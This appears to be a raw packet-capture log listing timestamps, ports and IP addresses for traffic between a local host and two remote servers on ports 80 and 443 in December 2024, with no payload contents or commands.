Dec 7, 2024 00:15:52.806457043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.806631088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.806813955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.807290077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.807532072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.807554007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.808304071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.808422089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.808443069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.808625937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.808840990 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.808876038 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.808952093 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.808952093 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.808959007 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.809268951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.809328079 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.809329033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.809393883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.809500933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.810281992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.810390949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.810401917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.810513020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.811254978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.811386108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.811569929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.812484980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.812495947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.812661886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.813306093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.813494921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.813515902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.813966990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.814063072 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.814083099 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.814215899 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.814222097 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.814248085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.814273119 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.814361095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.814393044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.814461946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.815213919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.815329075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.815330029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.815531015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.816230059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.816335917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.816363096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.817209959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.817346096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.817370892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.817600965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.818213940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.818356037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.818365097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.818458080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.819201946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.819317102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.819329977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.819478989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.820277929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.820348978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.820377111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.820522070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.821187019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.821285009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.821306944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.821480036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.822205067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.822312117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.822618008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.823169947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.823292971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.823317051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.823407888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.824186087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.824291945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.824309111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.824388027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.825150967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.825242996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.825253963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.825320959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.842408895 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.842427015 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.842564106 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.842571020 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.842677116 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.849646091 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.849682093 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.849730015 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.849735022 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.849761963 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.850080013 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.856452942 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.856467962 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.856590033 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.856595993 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.856652975 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.864168882 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.864186049 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.864284992 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.864284992 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.864291906 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.865741968 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.871783972 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.871798992 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.872045040 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.872051001 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.872143030 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.879020929 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.879036903 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.879184008 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.879201889 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.879267931 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.886774063 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.886790991 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.887245893 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.887253046 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.887670994 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.893578053 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.893594980 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.893707037 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.893712997 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.897206068 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.946480989 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.946505070 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.946600914 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.946611881 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.946639061 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.946856976 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.952328920 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.952347994 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.952594042 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.952605963 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.952856064 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.958332062 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.958364010 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.958467007 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.958467007 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.958477020 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.958550930 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.963437080 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.963455915 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.963531017 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.963538885 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.963682890 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.966196060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.966213942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.966388941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.966541052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.966706038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.966718912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.966917992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.967437983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.967586994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.967897892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.968054056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.968089104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.968184948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.968965054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.969029903 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.969053030 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.969091892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.969198942 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.969207048 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.969274998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.969299078 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.969352961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.969959974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.969971895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.970244884 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.970817089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.970922947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.970954895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.971059084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.971792936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.971879959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.971904993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.972002983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.972795010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.972891092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.972904921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.973042011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.973776102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.973926067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.974602938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.974905014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.974958897 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.974983931 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.974994898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.975099087 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.975109100 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.975166082 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.975217104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.975321054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.975936890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.976087093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.976269960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.976773024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.976877928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.976954937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.977029085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.977747917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.977808952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.977844954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.977924109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.978738070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.978861094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.978887081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.979017973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.979792118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.979861975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.979887962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.980113029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.980829000 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.980855942 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.980874062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.980886936 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.980892897 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.980933905 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.980937004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.980981112 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.981183052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.981729031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.981899977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.981911898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.982049942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.982709885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.982887983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.982889891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.983000040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.983733892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.983840942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.984056950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.984713078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.984824896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.984853029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.984920979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.985721111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.985810041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.985831022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.985899925 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.986830950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.986843109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.986924887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.987687111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.987793922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.987818003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.987873077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.988049030 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.988068104 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.988149881 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.988149881 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.988157988 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.988267899 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.988735914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.988924980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.988975048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.988975048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.989712954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.989845037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.989861965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.989944935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.990674019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.990789890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.990807056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.990904093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.991688013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.991787910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.991813898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.991952896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.992672920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.992770910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.992794037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.992842913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.993678093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.993779898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.993781090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.993874073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.994668007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.994744062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.994797945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.994896889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.995683908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.995762110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.996041059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.996699095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.996750116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.996774912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.996824026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.997654915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.997756958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.997783899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.997827053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.998641014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.998780012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.998810053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.998910904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.999646902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.999881029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.999888897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.000009060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.000659943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.000726938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.000756025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.000983953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.001614094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.001698017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.001713037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.001808882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.002598047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.002721071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.002727985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.002856970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.003598928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.003683090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.003715038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.003788948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.004601955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.004692078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.004719019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.004787922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.005578041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.005691051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.005740881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.005836964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.006575108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.006680012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.006710052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.006805897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.007590055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.007720947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.007746935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.007884026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:53.008574963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.008658886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:53.008702040 CET	49823	80	192.168.2.6	185.215.113.206
